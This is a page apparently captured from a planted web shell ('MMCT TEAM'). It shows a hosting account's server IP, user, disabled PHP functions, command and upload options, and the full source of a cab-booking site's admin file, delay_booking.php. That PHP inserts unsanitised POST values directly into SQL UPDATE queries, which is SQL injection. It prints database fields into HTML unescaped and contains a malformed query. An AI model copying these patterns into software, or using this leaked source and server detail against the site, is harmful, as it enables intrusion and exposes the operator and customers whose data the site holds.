MMCT TEAM
Server IP : 82.112.239.40  /  Your IP : 18.218.129.191
Web Server : LiteSpeed
System : Linux in-mum-web1676.main-hosting.eu 5.14.0-503.35.1.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Apr 4 05:23:43 EDT 2025 x86_64
User : u641149403 ( 641149403)
PHP Version : 7.4.33
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF
Directory (0755) :  /home/u641149403/domains/cabz4you.com/public_html/admin/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/u641149403/domains/cabz4you.com/public_html/admin/delay_booking.php
<?php
require_once 'header.php';
//require_once 'navbar.php';


if($_SERVER["REQUEST_METHOD"] == "POST")
{
     if(isset($_POST['commition']))
    {
		 $commition=$_POST['commition'];
		 $booking_id=$_POST['pass_id'];
		 $sql="update bookings set admin_commission=$commition,status='vendor_pass' where id=$booking_id";
		 if($conn->query($sql)===true)
		 {
			 $success=true;
		 }
		 else
		 {
			 $error=true;
		 }
	 }
	if(isset($_POST['custom_vendor']))
    {
		 $custom_vendor=$_POST['custom_vendor'];
		 $booking_id=$_POST['custom_id'];
		
		  $commition=$_POST['comission'];
		$sql="update bookings set admin_commission=$commition,vendor_id=$custom_vendor,status='vendor_pass' where id=$booking_id";
		 if($conn->query($sql)===true)
		 {
			 $success=true;
		 }
		else
		{
			$error=true;
		}
		
	 }
}
$date=date("Y-m-d");
$time=date("h:i:s");

echo $sql="select bookings.*,payment_log.txn_amount,payment_log.booking_id,users.* from bookings,payment_log ,users where users.id=bookings.user_id and    payment_log.txn_status is true and bookings.status in ('booked','vendor_pass') and bookings.pickup_date<='$date' and bookings.pickup_time=<'$time' and bookings.id=payment_log.booking_id";
$result = $conn->query($sql);

if ($result->num_rows > 0) {
    // output data of each row
    while($row = $result->fetch_assoc()) {
        $table_data[]=$row;
    }
}
//print_r($table_data);

$sql="select full_name,vendor_id,company_name from vendor_profile";
$result = $conn->query($sql);
if ($result->num_rows > 0) {
    // output data of each row
    while($row = $result->fetch_assoc()) {
        $vendors[]=$row;
    }
}

?>

<head>
	<meta charset="utf-8">
	<meta content="width=device-width, initial-scale=1, shrink-to-fit=no" name="viewport">
	<meta content="Fully Responsive Bootstrap 4 Admin Dashboard Template" name="description">
	<meta content="Spruko" name="author">

	<!-- Title -->
	<title>Adon - Creative Admin Multipurpose Responsive Dashboard Template</title>

	<!-- Favicon -->
	<link href="assets/img/brand/favicon.png" rel="icon" type="image/png">

	<!-- Fonts -->
	<link href="https://fonts.googleapis.com/css?family=Nunito:300,400,600,700,800" rel="stylesheet">

	<!-- Icons -->
	<link href="assets/css/icons.css" rel="stylesheet">

	<!--Bootstrap.min css-->
	<link rel="stylesheet" href="assets/plugins/bootstrap/css/bootstrap.min.css">

	<!-- Adon CSS -->
	<link href="assets/css/dashboard.css" rel="stylesheet" type="text/css">

	<!-- Data table css -->
	<link href="assets/plugins/datatable/dataTables.bootstrap4.min.css" rel="stylesheet" />
	<link href="assets/plugins/datatable/responsivebootstrap4.min.css" rel="stylesheet" />

	<link href="assets/plugins/customscroll/jquery.mCustomScrollbar.css" rel="stylesheet" />

	<!-- Sidemenu Css -->
	<link href="assets/plugins/toggle-sidebar/css/sidemenu.css" rel="stylesheet">

</head>
<!-- Page content -->
						<div class="container-fluid pt-8">
							<div class="page-header mt-0  p-3">
								<h3 class="mb-sm-0"><?=ucwords($type);?> Bookings</h3>
								<ol class="breadcrumb mb-0">
									<li class="breadcrumb-item"><a href="#"><i class="fe fe-home"></i></a></li>
									<li class="breadcrumb-item active" aria-current="page"><?=ucwords($type);?> Bookings</li>
								</ol>
							</div>
							 <?php
			if(isset($success))
			{
				?>
			  <div class="alert alert-success" id="success">Success! Your Request has been submited.</div>
			<?php
			}
			else if(isset($error))
			{
				?>
			  <div class="alert alert-danger" id="success">Error! Your Request could not be submited.</div>
			<?php
			}
			?>
			<div class="alert " id="msg" style="display:none"></div>
								<div class="card shadow">
										
										<div class="card-body">
											<?php
                                            if(isset($table_data))
                                            {
                                                ?>
											<div class="table-responsive">
												<table id="example3" class="table table-striped table-bordered text-nowrap">
													<thead>
														<tr>
															<th class="wd-15p">S.No</th>
															<th class="wd-15p">From </th>
															<th class="wd-15p">To</th>
															<th class="wd-15p">Pickup_date</th>
															<th class="wd-20p">pickup_time</th>
															<th class="wd-20p">Cab Type</th>
															<th class="wd-20p">Trip_type</th>
															<th class="wd-20p">Name</th>
															<th class="wd-20p">Contact</th>
															<th class="wd-20p">EMail</th>
															<th class="wd-20p">Alt Contact</th>
															<th class="wd-15p">Amount</th>
															<th class="wd-15p">Booking Amount</th>
															<th class="wd-15p">Balance Amount</th>
															<th class="wd-15p">Your Commission</th>
															<th class="wd-15p">Pickup Address</th>
															<th class="wd-15p">Vendor id</th>
															<th class="wd-15p">cab Id</th>
															<th class="wd-15p">Driver id</th>
															<th class="wd-10p">action</th>
														</tr>
													</thead>
														<tbody>
													<?php
                                                $x=1;
                                                        foreach($table_data as $hh)
                                                        {
                                                            ?>
														<tr id="row<?=$hh['booking_id'];?>">
															<td><?=$x;?></td>
															<td><?=$hh['booking_from']?></td>
															<td><?=$hh['booking_to'];?></td>
															<td><?=$hh['pickup_date'];?></td>
															<td><?=$hh['pickup_time'];?></td>
															<td><?=$hh['cab_type'];?></td>
															<td><?=$hh['trip_type'];?></td>
															<td><?=$hh['name'];?></td>
															<td><?=$hh['contact'];?></td>
															<td><?=$hh['email'];?></td>
															<td><?=$hh['alt_contact'];?></td>
															<td><?=$hh['price'];?></td>
															<td><?=$hh['txn_amount'];?></td>
															<td><?=$hh['price']-$hh['txn_amount'];?></td>
															<td><?=$hh['admin_commission'];?></td>
															<td><?=$hh['pickup_address'];?></td>
															<td><a href="edit_vendor?token=<?=$hh['vendor_id'];?>" target="_blank"><?=$hh['vendor_id'];?></a></td>
															<td><?=$hh['cab_id'];?></td>
															<td><?=$hh['driver_id'];?></td>
															<td>
																<?php
															if(isset($one))
															{
																?>
																<button id="<?=$hh['booking_id'];?>" onclick="confirm_booking(this.value,this.id)" value="pass" class="btn btn-icon btn-pill btn-primary" type="button">
																	Pass
																</button>
                                            					<button id="<?=$hh['booking_id'];?>" onclick="confirm_booking(this.value,this.id);" value="custom" class="btn btn-icon btn-pill btn-warning mt-1 mb-1" type="button">
																	Custom
																</button>
																
																	<button id="<?=$hh['booking_id'];?>" onclick="cancel_booking(this.id);" class="btn btn-icon btn-pill btn-warning mt-1 mb-1" type="button">
														Cancel Ride
																</button>
																<?php
															}
															?>
                                                    		</td>
														</tr>
													<?php
                                                            $x++;
                                                        }
                                                ?>
													</tbody>
												</table>
											</div>
											<?php
                                            }
                                            else
                                            {
                                                echo "<h2>No Record Found.</h2>";
                                            }
                                            ?>
									</div>
							</div>
</div>
                        
	<!--Add Modal To Display-->
<div class="modal fade" id="confirm" style="z-index:99999999">
    <div class="modal-dialog">
        <div class="modal-content">
          <div class="card-header">
            <button type="button" class="close" data-dismiss="modal" aria-label="Close">
              <span aria-hidden="true">&times;</span>
            </button>
               <div class="alert alert-danger"   id="error" style="display:none">Error! Your Request could not be submited.</div>
               
              <h4 style="text-align: left">Take Your Action</h4><div class="col-md-6 float-right" id="alert"></div>
          </div> 
          <form method="post" id="add_vendor">
          <div class="modal-body" id="display-modal">
              <div class="row" id="pass" style="display:none">
				  <form method="post">
                 <div class="col-md-8">
                      <label>Enter your commission :</label><input  type="text" class="form-control" name="commition" required>
                      <input  type="hidden" name="pass_id" id="pass_id" required>
                  </div>
				   <div class="col-md-4">
					   <button type="submit" name="request" id="pass_id" class="btn btn-primary" >Add</button>
				  </div>
				  </form>
			  </div>
			  <form method="post">
			  <div class="row" id="custom" style="display:none">
                  
                  <div class="col-md-6">
                       <label>Please Select Custom Vendor:</label>
					     <input  type="hidden" name="custom_id" id="custom_id" required>
                       <select name="custom_vendor" class="form-control">
                           <option value="0"  >Select Vendor</option>
                            <?php
                            foreach ($vendors as $vendor)
                            {
                            ?>
                              <option value="<?=$vendor['vendor_id'];?>"><?=$vendor['full_name'];?></option>
                            <?php
                            }
                            ?>
                       </select>
                  </div>
                  
                  <div class="col-md-6">
                      <label>Please Enter your Commission:</label>
                      <input type="number" class="form-control" id="commission" name="comission" value="0">
                  </div>
				   <div class="col-md-12">
				       <br>
					   <button type="submit"  name="request" id="add" class="btn btn-primary" style="float:right">Add</button>
				  </div>
				  
              </div>
              </form>
            </div>
          <div class="modal-footer">
            <button type="button" class="btn btn-default pull-left" data-dismiss="modal">Close</button>
            
          </div>
            </form>
        </div>
    <!-- /.modal-content -->
    </div>
<!-- /.modal-dialog -->
</div>						
<?php 
require_once 'footer.php';
//require_once 'jslinks.php';
?>							

	<!-- Adon Scripts -->
	<!-- Core -->
	<script src="assets/plugins/jquery/dist/jquery.min.js"></script>
	<script src="assets/js/popper.js"></script>
	<script src="assets/plugins/bootstrap/js/bootstrap.min.js"></script>

	<!-- Optional JS -->
	<script src="assets/plugins/chart.js/dist/Chart.min.js"></script>
	<script src="assets/plugins/chart.js/dist/Chart.extension.js"></script>

	<!-- Data tables -->
	<script src="assets/plugins/datatable/jquery.dataTables.min.js"></script>
	<script src="assets/plugins/datatable/dataTables.bootstrap4.min.js"></script>
	<script src="assets/plugins/datatable/dataTables.responsive.min.js"></script>
	<script src="assets/plugins/datatable/responsive.bootstrap4.min.js"></script>

	<!-- Fullside-menu Js-->
	<script src="assets/plugins/toggle-sidebar/js/sidemenu.js"></script>

	<!-- Custom scroll bar Js-->
	<script src="assets/plugins/customscroll/jquery.mCustomScrollbar.concat.min.js"></script>

	<!-- Adon JS -->
	<script src="assets/js/custom.js"></script>
	<script src="assets/js/datatable.js"></script>

<script>
var i;

	function confirm_booking(str,ee)
	{
		if(str=='pass')
			{
				$('#pass').show();
				$('#custom').hide();
				$('#confirm').modal('show');
				document.getElementById('pass_id').value=ee;
				
			}
		else if(str=='custom')
			{
				$('#custom').show();
				$('#pass').hide();
				$('#confirm').modal('show');
				document.getElementById('custom_id').value=ee;
			}
	}
	
    function cancel_booking(booking_id)
    {
        //alert(booking_id);
        var confir=confirm("Are you sure to cancel this ride");
        if(confir)
        {
            $.ajax({
                type:"POST",
                url:"ajax_cancel_booking.php",
                data:{
                    'cancel_id':booking_id,
                },
                success:function(data)
                {
                    var x = JSON.parse(data);
                    if(x.msg=="ok")
                    {
                        $(".dtr-bs-modal").modal('toggle');
                        $("#msg").addClass(" alert-success");
                        $("#msg").css('display','block');
                        $("#msg").text("Succes! Your booking has been cancelled");
                        $("#row"+booking_id).remove();
                    }
                    else
                    {
                        $(".dtr-bs-modal").modal('toggle');
                        $("#msg").addClass(" alert-danger");
                        $("#msg").show();
                        $("#msg").text(x.msg);
                    }
                    
                   
                    
                    console.log(data);
                }
                
            });
        }
    }
</script>

MMCT - 2023